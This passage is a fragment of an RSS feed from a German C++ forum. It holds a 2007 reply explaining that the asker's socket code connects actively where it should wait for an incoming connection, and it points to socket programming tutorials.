]]></description><link>https://www.c-plusplus.net/forum/post/1331105</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1331105</guid><dc:creator><![CDATA[Badestrand]]></dc:creator><pubDate>Mon, 23 Jul 2007 19:33:36 GMT</pubDate></item><item><title><![CDATA[Reply to Lokale HANDLE´s auch im Netzwerk verwendbar? on Mon, 23 Jul 2007 19:36:35 GMT]]></title><description><![CDATA[<p>Nein, der Code würde so nicht funktionieren. Der Code verbindet sich aktiv und wartet nicht... bei deiner Anforderung musst du erst auf eine Verbindung warten... dazu gibt's sehr viele Tutorials über socket-Programmierung</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1331107</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1331107</guid><dc:creator><![CDATA[ScriptGod]]></dc:creator><pubDate>Mon, 23 Jul 2007 19:36:35 GMT</pubDate></item></channel></rss>